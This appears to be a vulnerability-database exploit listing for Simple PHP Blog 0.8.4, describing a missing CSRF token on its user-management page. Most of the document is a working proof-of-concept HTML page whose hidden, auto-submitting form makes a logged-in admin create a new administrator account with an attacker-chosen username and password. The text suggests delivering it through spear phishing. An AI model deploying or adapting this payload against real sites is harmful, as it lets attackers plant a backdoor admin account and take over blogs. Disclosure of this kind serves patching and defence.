Simple PHP Blog 0.8.4 Cross Site Request Forgery

🗓️ 07 Oct 2016 00:00:00Reported by BesimType

packetstorm🔗 packetstormsecurity.com👁 35 Views

Simple PHP Blog 0.8.4 Cross-Site Request Forgery vulnerabilit

`<!--  
  
=========================================================================================================  
Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add Admin)  
=========================================================================================================  
  
# Exploit Title: Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add  
Admin)  
# Author: Besim  
# Google Dork: -  
# Date: 07/10/2016  
# Type: webapps  
# Platform : PHP  
# Vendor Homepage: http://simpleblogphp.com/  
# Software Link: https://sourceforge.net/projects/sphpblog/  
# Version: 0.8.4  
# Tested on: Ubuntu 14.04.5  
  
Simple PHP Blog 0.8.4 versions is vulnerable to CSRF attack (No CSRF token  
in place)  
meaning that if an admin user can be tricked to visit a crafted URL created  
by  
attacker (via spear phishing/social engineering), a form will be submitted  
to (*http://localhost/simple/manage_users.php?action=update&type=new  
<http://localhost/simple/manage_users.php?action=update&type=new>*) that  
will add a new user as administrator.  
  
Once exploited, the attacker can login to the admin panel  
(*http://localhost/simple/login.php <http://localhost/simple/login.php>*)  
using the username and the password he posted in the form.  
  
*CSRF PoC Code*  
=============  
  
-->  
  
<html>  
<body>  
<form action="  
http://localhost/simple/manage_users.php?action=update&type=new"  
method="POST">  
<input type="hidden" name="sUsername" value="Besim" />  
<input type="hidden" name="sFullname" value="Besim" />  
<input type="hidden" name="sPassword" value="mehmet" />  
<input type="hidden" name="sEmail" value="[email protected]"  
/>  
<input type="hidden" name="sAvatar" value="" />  
<input type="hidden" name="sActive" value="on" />  
<input type="hidden" name="sModComments" value="on" />  
<input type="hidden" name="sDeleteEntries" value="on" />  
<input type="hidden" name="sEditAny" value="on" />  
<input type="hidden" name="submit" value="Create User" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
  
  
  
--   
  
Besim ALTiNOK  
  
`

07 Oct 2016 00:00Current